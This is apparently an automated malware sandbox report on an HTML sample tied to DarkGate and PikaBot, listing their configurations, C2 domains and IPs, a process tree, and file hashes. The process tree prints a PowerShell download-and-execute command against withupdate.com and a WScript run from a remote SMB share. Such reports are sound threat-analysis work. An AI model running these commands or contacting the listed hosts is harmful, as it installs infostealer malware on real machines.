Analysis

  • max time kernel
    540s
  • max time network
    605s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-03-2024 21:28

General

  • Target

    196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html

  • Size

    3KB

  • MD5

    ace67f099683c4360f442c58da66aeba

  • SHA1

    2b90f1398b79331e8f853ddb004dcc87a1daf540

  • SHA256

    196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005

  • SHA512

    02e2465e10ee581b04896dd77ee906542786b7662071befa9b6c07fca00862be063516030045fb29fdec1a68108aaf93cc30db24cd329776b1d316c9d7ca7073

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

withupdate.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    VqunyHFY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Extracted

Family

pikabot

C2

158.220.95.214

172.232.208.90

194.233.91.144

158.220.95.215

84.247.157.112

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • PikaBot

    PikaBot is a botnet that is distributed similarly to Qakbot and written in c++.

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\LaunchWinApp.exe
    "C:\Windows\system32\LaunchWinApp.exe" "C:\Users\Admin\AppData\Local\Temp\196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html"
    1⤵
      PID:2244
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
      1⤵
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4824
    • C:\Windows\system32\browser_broker.exe
      C:\Windows\system32\browser_broker.exe -Embedding
      1⤵
      • Modifies Internet Explorer settings
      PID:4560
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Modifies registry class
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:796
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:704
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      PID:3424
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localservice -s fdPHost
      1⤵
        PID:5068
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:5032
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Modifies registry class
          PID:1480
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_document_03.26.zip\document_03.26.js"
          1⤵
            PID:2244
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\82QMTXDL\Report-26-2024[1].vbs"
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:3260
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
              2⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4136
              • C:\rjtu\AutoHotkey.exe
                "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
                3⤵
                • Executes dropped EXE
                • Checks processor information in registry
                PID:4584
              • C:\Windows\system32\attrib.exe
                "C:\Windows\system32\attrib.exe" +h C:/rjtu/
                3⤵
                • Views/modifies file attributes
                PID:3080
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Report-26-2024.zip\Report-26-2024.vbs"
            1⤵
              PID:4656
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "\\170.130.55.130\share\b\document_03.26.js"
              1⤵
              • Blocklisted process makes network request
              • Suspicious use of WriteProcessMemory
              PID:1144
              • C:\users\public\vx.exe
                "C:\users\public\vx.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of WriteProcessMemory
                PID:2772
                • C:\Windows\SysWOW64\ctfmon.exe
                  "C:\Windows\SysWOW64\ctfmon.exe -p 1234"
                  3⤵
                    PID:3276
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "\\170.130.55.130\share\b\document_03.26.js"
                1⤵
                • Blocklisted process makes network request
                • Suspicious use of WriteProcessMemory
                PID:4432
                • C:\users\public\vx.exe
                  "C:\users\public\vx.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of WriteProcessMemory
                  PID:2648
                  • C:\Windows\SysWOW64\ctfmon.exe
                    "C:\Windows\SysWOW64\ctfmon.exe -p 1234"
                    3⤵
                      PID:4872

                Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09F930445D6C46BBF6B0668DC5FB01EC

                  Filesize

                  503B

                  MD5

                  e4178d8db60aed942c2a63106ccdc52f

                  SHA1

                  2ec72c3ca9496dd6e6560eb24d18926dc211e469

                  SHA256

                  c8d4e707fa0be4ee5eb7d4aac89212a7bf4863f285a045f62aa7d570bec63a09

                  SHA512

                  785eb097eff2bad15cbca77fe78f3f5ea2bddc24c15c57f60a5ff4f6bfd9de835ae402af582082cf807921224ee618dd2b110bc401910807106e627233b6246e

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

                  Filesize

                  717B

                  MD5

                  822467b728b7a66b081c91795373789a

                  SHA1

                  d8f2f02e1eef62485a9feffd59ce837511749865

                  SHA256

                  af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

                  SHA512

                  bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09F930445D6C46BBF6B0668DC5FB01EC

                  Filesize

                  552B

                  MD5

                  2dca8c29705e47b050990e9313d5e643

                  SHA1

                  40d2081588421ed1961b2e96273835f32e2cbb3d

                  SHA256

                  96bdce160eb6037ec8363394dd9b53663495e87b66445276302834a14d932d88

                  SHA512

                  49d8378c9c2ff8e3a6e89a8e917385e96ab0fe64dd4cc3e155afc6745a9efb7b9d7c3bce55822698b524c4bb921a3fad6920b726de22da32a4df1afdd4ee38db

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

                  Filesize

                  192B

                  MD5

                  8877846e2750880ddba10a719e11e9f7

                  SHA1

                  7ccd7bc61213eca39d5d9424a164cb0a4d2e119a

                  SHA256

                  d786a547e3ba86e4b3d2fc288c4d3c299f11c366f5f128d942a27f93ad72d788

                  SHA512

                  8ab8701008e63712a06f65b41fba92f6eaf35f66f324edf24b50a4d483832f120ecef3fa05ff5705c4557f24b3e752595da4ab1b1116ddada15b36cef0c96cd7

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YTAV2Q1Z\edgecompatviewlist[1].xml

                  Filesize

                  74KB

                  MD5

                  d4fc49dc14f63895d997fa4940f24378

                  SHA1

                  3efb1437a7c5e46034147cbbc8db017c69d02c31

                  SHA256

                  853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

                  SHA512

                  cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\R6GX7GQT\suggestions[1].en-US

                  Filesize

                  17KB

                  MD5

                  5a34cb996293fde2cb7a4ac89587393a

                  SHA1

                  3c96c993500690d1a77873cd62bc639b3a10653f

                  SHA256

                  c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

                  SHA512

                  e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w5cajj5e.0t2.ps1

                  Filesize

                  1B

                  MD5

                  c4ca4238a0b923820dcc509a6f75849b

                  SHA1

                  356a192b7913b04c54574d18c28d46e6395428ab

                  SHA256

                  6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                  SHA512

                  4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                • C:\Users\Public\vx.exe

                  Filesize

                  1.3MB

                  MD5

                  3e56975127f436aa5e8a9b9c7af5eb23

                  SHA1

                  acbf171b31c25a66d7af44bf9e1f5666acaa3f2c

                  SHA256

                  7d18e238febf88bc7c868e3ee4189fd12a2aa4db21f66151bb4c15c0600eca6e

                  SHA512

                  f1a2d4dcc0531ee08c3b5e407b7e250743c15d0e2f320a9d74e933a94791d1185a9dc6f5f28b9e3bc8bbc364b3c98fc72e936c45b88279c773ea4507e24b3e9f

                • C:\rjtu\AutoHotkey.exe

                  Filesize

                  892KB

                  MD5

                  a59a2d3e5dda7aca6ec879263aa42fd3

                  SHA1

                  312d496ec90eb30d5319307d47bfef602b6b8c6c

                  SHA256

                  897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

                  SHA512

                  852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

                • C:\rjtu\script.ahk

                  Filesize

                  55KB

                  MD5

                  e93f832ee64b07207c38479dbf3ee767

                  SHA1

                  7f4a0063a53ed2ba9c2c2e77eacea34ccfbb99f7

                  SHA256

                  dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455

                  SHA512

                  f46fafc946b0155ab43df99e92f5050e8967ac9528a465afc027801b20431d1c5c8f44a10c04738a995b8819f173e6cf270ab70ed352f69794cef9176f52fe51

                • C:\rjtu\test.txt

                  Filesize

                  917KB

                  MD5

                  57e19b367883bff9e4f0d905c7634827

                  SHA1

                  44afaac68c4792effefcaa63c65c55ef5d089a59

                  SHA256

                  4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795

                  SHA512

                  dba68357c5d3427171a023919f29d8fc60905708f55acbadb24d5f4b23c355b38994dc6b8c377d6578950e499b205eeb5c9b5ae25885223c2f499e1380fc6c84

                • memory/2648-239-0x0000000000400000-0x000000000055E000-memory.dmp

                  Filesize

                  1.4MB

                • memory/2648-255-0x0000000002180000-0x0000000002193000-memory.dmp

                  Filesize

                  76KB

                • memory/2648-259-0x00000000022B0000-0x00000000022E3000-memory.dmp

                  Filesize

                  204KB

                • memory/2648-240-0x00000000022B0000-0x00000000022E3000-memory.dmp

                  Filesize

                  204KB

                • memory/2648-269-0x0000000000400000-0x000000000055E000-memory.dmp

                  Filesize

                  1.4MB

                • memory/2772-222-0x0000000000400000-0x000000000055E000-memory.dmp

                  Filesize

                  1.4MB

                • memory/2772-223-0x00000000021F0000-0x0000000002223000-memory.dmp

                  Filesize

                  204KB

                • memory/2772-267-0x0000000000400000-0x000000000055E000-memory.dmp

                  Filesize

                  1.4MB

                • memory/2772-257-0x00000000021F0000-0x0000000002223000-memory.dmp

                  Filesize

                  204KB

                • memory/2772-254-0x00000000005B0000-0x00000000005C3000-memory.dmp

                  Filesize

                  76KB

                • memory/3276-229-0x0000000000DB0000-0x0000000000DCA000-memory.dmp

                  Filesize

                  104KB

                • memory/3276-224-0x0000000000DB0000-0x0000000000DCA000-memory.dmp

                  Filesize

                  104KB

                • memory/3424-53-0x000002B5164B0000-0x000002B5164B2000-memory.dmp

                  Filesize

                  8KB

                • memory/3424-56-0x000002B526840000-0x000002B526842000-memory.dmp

                  Filesize

                  8KB

                • memory/3424-58-0x000002B526900000-0x000002B526902000-memory.dmp

                  Filesize

                  8KB

                • memory/4136-143-0x00000228B0560000-0x00000228B0570000-memory.dmp

                  Filesize

                  64KB

                • memory/4136-186-0x00000228B0560000-0x00000228B0570000-memory.dmp

                  Filesize

                  64KB

                • memory/4136-142-0x00000228B0560000-0x00000228B0570000-memory.dmp

                  Filesize

                  64KB

                • memory/4136-141-0x00007FFA71D80000-0x00007FFA7276C000-memory.dmp

                  Filesize

                  9.9MB

                • memory/4136-140-0x00000228B0500000-0x00000228B0522000-memory.dmp

                  Filesize

                  136KB

                • memory/4136-187-0x00000228B0560000-0x00000228B0570000-memory.dmp

                  Filesize

                  64KB

                • memory/4136-185-0x00007FFA71D80000-0x00007FFA7276C000-memory.dmp

                  Filesize

                  9.9MB

                • memory/4136-194-0x00000228B0560000-0x00000228B0570000-memory.dmp

                  Filesize

                  64KB

                • memory/4136-161-0x00000228B0560000-0x00000228B0570000-memory.dmp

                  Filesize

                  64KB

                • memory/4136-202-0x00007FFA71D80000-0x00007FFA7276C000-memory.dmp

                  Filesize

                  9.9MB

                • memory/4136-166-0x00000228C8F80000-0x00000228C9142000-memory.dmp

                  Filesize

                  1.8MB

                • memory/4136-146-0x00000228C8800000-0x00000228C8876000-memory.dmp

                  Filesize

                  472KB

                • memory/4584-203-0x0000000003140000-0x00000000031B3000-memory.dmp

                  Filesize

                  460KB

                • memory/4584-205-0x0000000003140000-0x00000000031B3000-memory.dmp

                  Filesize

                  460KB

                • memory/4824-111-0x00000192D2730000-0x00000192D2731000-memory.dmp

                  Filesize

                  4KB

                • memory/4824-0-0x00000192CB720000-0x00000192CB730000-memory.dmp

                  Filesize

                  64KB

                • memory/4824-35-0x00000192CAAF0000-0x00000192CAAF2000-memory.dmp

                  Filesize

                  8KB

                • memory/4824-112-0x00000192D2740000-0x00000192D2741000-memory.dmp

                  Filesize

                  4KB

                • memory/4824-16-0x00000192CC000000-0x00000192CC010000-memory.dmp

                  Filesize

                  64KB

                • memory/4872-246-0x00000000003D0000-0x00000000003EA000-memory.dmp

                  Filesize

                  104KB